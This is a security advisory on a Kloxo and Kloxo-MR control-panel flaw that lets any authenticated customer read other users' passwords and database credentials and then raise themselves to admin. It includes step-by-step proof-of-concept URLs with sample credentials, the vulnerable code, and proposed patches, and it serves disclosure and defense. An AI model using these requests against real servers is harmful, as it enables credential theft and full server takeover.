SSD Advisory – Kloxo Sensitive Information Disclosure

Introduction
Kloxo (formerly known as Lxadmin) is a free, opensource web hosting control panel for the Red Hat and CentOS Linux distributions.
Vulnerability Details
Kloxo contains a vulnerability that could allow an authenticated remote attacker (client or auxiliary) to get almost any info from DB, for example passwords of other users (including administrators), credentials for DB connection, etc. After gathering credentials of user (reseller or admin) who has created current client it is possible to assign “admin” role to current client.
Authentication is required to exploit this vulnerability (any unprivileged client or auxiliary). So any unprivileged user will be able to login as administrator and manage system or execute any OS command or upload PHP file and execute desired PHP code (there are such ’legal’ features for administrator).

Technical Details
Information Disclosure
This flaw is caused by insufficient validation of permission during processing “action=getproperty” web command.
The vulnerable sections of code can be reached by the next request:

/webcommand.php?login-class=<client_or_auxiliary>&login-name=<username>&login-password=<password>&action=getproperty&class=<tablename>&name=<nname>&v-<column_name_1>=1&v-<column_name_2>=1&…

For example:

/webcommand.php?login-class=client&login-name=<regular_user>&login-password=<password>&action=getproperty&class=client&name=admin &v-realpass=1

will return password of admin user.
In this report all listings are from Kloxo-MR 7.0.0.b-2015012701 (in various versions lines numbers can be different). Kloxo 6.1.19 has the same code and behaves exactly the same way. So both products are vulnerable.
The vulnerable code for Kloxo:
Listing of /lib/html/commandlinelib.php:

function __cmd_desc_getproperty($param)
{
 global $gbl, $sgbl, $login, $ghtml;
 if (isset($param['name']) &amp;&amp; isset($param['class'])) {
  $name = $param['name'];
  $class = $param['class'];
  $object = new $class(null, 'localhost', $name);
  $object-&gt;get();
  if ($object-&gt;dbaction === 'add') {
   throw new lxException($login-&gt;getThrow('no_object'), '', $name);
  }
 } else {
  $object = $login;
 }
 $object-&gt;getHardProperty();
 $vlist = get_variable($param);
 foreach($vlist as $k =&gt; $v) {
  $nv = $k;
  if (csa($nv, "-")) {
   $cc = explode("-", $nv);
   $result["v-$k"] = $object-&gt;{$cc[0]}-&gt;$cc[1];
   continue;
  }
  if ($nv === 'priv' || $nv === 'used') {
   foreach($object-&gt;$nv as $kk =&gt; $nnv) {
    if ($object-&gt;isQuotaVariable($kk)) {
     $result["v-$nv-$kk"] =  $nnv;
    }
   }
   continue;
  }
  $result["v-$nv"] =  $object-&gt;$nv;
 }
 return $result;
}

As we can see there is no validation that current user is “owner” of $object. So an attacker can get value of any column from any DB table only by “name” (similar to ID – this column exists in all tables but it has text format). So for example to get password of any user an attacker should know his name. But it is possible to get these names as values from other tables or column. For example we can get ‘creator’ of current user and all users created by some user…
So using relations between different column and tables we can gather a lot of interesting info.
Privilege Escalation
There are 3 levels of privileges:

  • Admin – can do anything
  • Reseller – can create and manage customers
  • Customer – regular user

Reseller cannot create privileged users (e.g. admins) but he can modify customers and can assign admin role to them (or he can create a new customer and after that assign admin role to him).
So as we mentioned earlier any regular user (customer) can get credentials of any users including his “creator” (Admin or Reseller) and using this credentials he is able to assign admin role to himself:

/webcommand.php?login-class=client&login-name=<username_of_reseller>&login-password=<password>&action=update&class=client&name=<user_created_by_reseller>&v-cttype=admin&subaction=update

So despite that the some servers can have disabled admin account (for better security) we still can get admins privileges.
Proof of Concept
We need only Web browser (I am using Firefox Mozilla 35.0.1)
This attack is the same for both products (Kloxo and Kloxo-MR)
An attacker should have credentials of any customer (I have regular user user1 with password sJhTSiSz7iv) or auxiliary login (in my server user1 has auxiliary user1_aux1.aux with password LW5pwONxBO8 )
1) First of all we can get username of user who is owner of our regular user (creator of current user) by the next request:

/webcommand.php?login-class=<client_or_auxiliary>&login-name=<username>&login-password=<password>&action=getproperty&v-parent_clname=1

In my case:

/webcommand.php?login-class=client&login-name=user1&login-password=sJhTSiSz7iv&action=getproperty&v-parent_clname=1

kloxo_image_1
or

/webcommand.php?login-class=auxiliary&login-name=user1_aux1.aux&login-password=LW5pwONxBO8&action=getproperty&v-parent_clname=1

kloxo_image_2
So user1 is created by reseller_1 from client table
2) Now we can get password of reseller_1:

/webcommand.php?login-class=<client_or_auxiliary>&login-name=<username>&login-password=<password>&action=getproperty&class=client&name=<desired_user>&v-realpass=1&v-parent_clname=1

In my case:

/webcommand.php?login-class=client&login-name=user1&login-password=sJhTSiSz7iv&action=getproperty&class=client&name=reseller_1&v-realpass=1&v-parent_clname=1

kloxo_image_3
or

/webcommand.php?login-class=auxiliary&login-name=user1_aux1.aux&login-password=LW5pwONxBO8&action=getproperty&class=client&name=reseller_1&v-realpass=1&v-parent_clname=1

kloxo_image_4
So reseller_1 has password M6B7Q6wGk8n and is created by admin from client table.
In the same way we can get password of admin:

/webcommand.php?login-class=client&login-name=user1&login-password=sJhTSiSz7iv&action=getproperty&class=client&name=admin&v-realpass=1&v-parent_clname=1

kloxo_image_5
3) Also we can get a list of all users created by current user:

/webcommand.php?login-class=client&login-name=<username>&login-password=<password>&action=simplelist&resource=client

In my case:

/webcommand.php?login-class=client&login-name=reseller_1&login-password=M6B7Q6wGk8n&action=simplelist&resource=client

kloxo_image_6

/webcommand.php?login-class=client&login-name=admin&login-password=pass&action=simplelist&resource=client

kloxo_image_7
Now we can get passwords of any of these users
4) We can get a lot of other sensitive info:
For example – db user and password:

/webcommand.php?login-class=client&login-name=user1&login-password=sJhTSiSz7iv&action=getproperty&class=dbadmin&name=mysql___localhost&v-dbadmin_name=1&v-dbpassword=1

kloxo_image_8
5) Also we can assign admin role to our user (user1):

/webcommand.php?login-class=client&login-name=reseller_1&login-password=M6B7Q6wGk8n&action=update&subaction=update&class=client&name=user1&v-cttype=admin

kloxo_image_9
Now we can login into UI as user1 or admin (if he is not disabled) and manage our server or run any OS command (by Command Center):
kloxo_image_10
Proposed Fixes
Information Disclosure
This flaw is caused by insufficient validation of permission during processing “action=getproperty” web command. There is no validation that current user is “owner” of desired $object. So an attacker can get value of any column from any DB table only by “name” (similar to ID – this column exists in all tables but it has text format).
So for proper fix we should add such validation.
In this report all listings are from Kloxo 6.1.19 (in various versions lines numbers can be different). KloxoMR 7.0.0.b-2015012701 has the same code so we should make the same changes.
The fixed code for Kloxo (NL# lines added):
Listing of /htmllib/lib/commandlinelib.php:

function __cmd_desc_getproperty($param)
{
  global $gbl, $sgbl, $login, $ghtml;
  if (isset($param['name']) && isset($param['class'])) {
  $name = $param['name'];
  $class = $param['class'];
  $object = new $class(null, 'localhost', $name);
  $object->get();
  if ($object->dbaction === 'add') {
  throw new lxException('object_doesnt_exist', 'name', $name);
  }
/* NL1 */ if (!$object->checkIfSomeParent($login->getClName())) {
/* NL2 */ throw new lxException("the_object_doesnt_exist_under_you", "", $object->nname);
/* NL3 */ }
  } else {
  $object = $login;
  }
/* … */

After this fix customer will be able to get only “own” info…
Risks of the fix

  • If there is any user story when client should have access to info what is not “under” him (for example regular customer “wants” to know some contact info of another regular customer) – he will not able to do this. From security POV users should not be able to get such info but if it is needed – only this “needed” info should be allowed
  • If current user wants to get any info about himself he should request this info without ‘name’ and/or ‘class’ parameters (I believe that it’s logical to do this without these parameters but maybe there is some “unusual” calls…)

Privilege escalation
Reseller cannot create privileged users (e.g. admins) but he can modify customers and can assign admin role to them (or he can create a new customer and after that assign admin role to him). It appears that there is proper validation if subaction=information:

/webcommand.php?login-class=client&login-name=<username_of_reseller>&loginpassword=<password>&action=update&class=client&name=<user_created_by_reseller>&vcttype=admin&subaction=information

The code that implements this validation:
Listing of /htmllib/lib/client/clientcorelib.php:

function updateInformation($param)
{
  global $gbl, $sgbl, $login, $ghtml;
  if_demo_throw_exception('info');
  if (isset($param['cttype'])) {
    if (!$this->isAdmin()) {
      if ($this->getParentO()->isGt($param['cttype'])) {
        throw new lxException("parent_doesnt_have_privileges", 'cttype', '');
      }
    }
 }
}

So we can use this code but we should put it in the function that will be executed every time not depend on subaction parameter. For example commandUpdate() of ClientBase class. The fixed code for Kloxo (NL# lines added):
Listing of /htmllib/lib/client/clientbaselib.php:

function commandUpdate($subaction, $param)
{
/* NL1 */ if_demo_throw_exception('info');
/* NL2 */ if (isset($param['cttype'])) {
/* NL3 */ if (!$this->isAdmin()) {
/* NL4 */ if ($this->getParentO()->isGt($param['cttype'])) {
/* NL5 */ throw new lxException("parent_doesnt_have_privileges", 'cttype', '');
/* NL6 */ }
/* NL7 */ }
/* NL8 */ }
  switch($subaction) {

Risks of the fix
There is no apparent risk here. But maybe it is better to put this code in other place but anyway this validation should be executed with any subaction parameter.
Affected Version
Kloxo version 6.1.19
Kloxo-MR version 7.0.0.b-2015012701
Vendor Response
Multiple attempts to get the vendors (there is one responsible for Kloxo, and another responsible to Kloxo-MR) to patch this vulnerability were unsuccessful, in the end we also provided them with a patch (on the 7th of August 2015), however their response was:

Noam i have reviewed and tested your code and also submitted it at the lxcenter dev branch, now its up to the project leader to make a new release containing the fixes you proposed !!!
I have done all i can from my part as a developer !! I have informed them for the urgent matter that could potentially do another security problem ! Now i cant do anything else since my hands are tied when it matters the release of new versions !
Thanks for your time and your warnings 🙂

We have no other option by release the information and the patch, hoping affected customers and protect themselves by implementing the above proposed patches.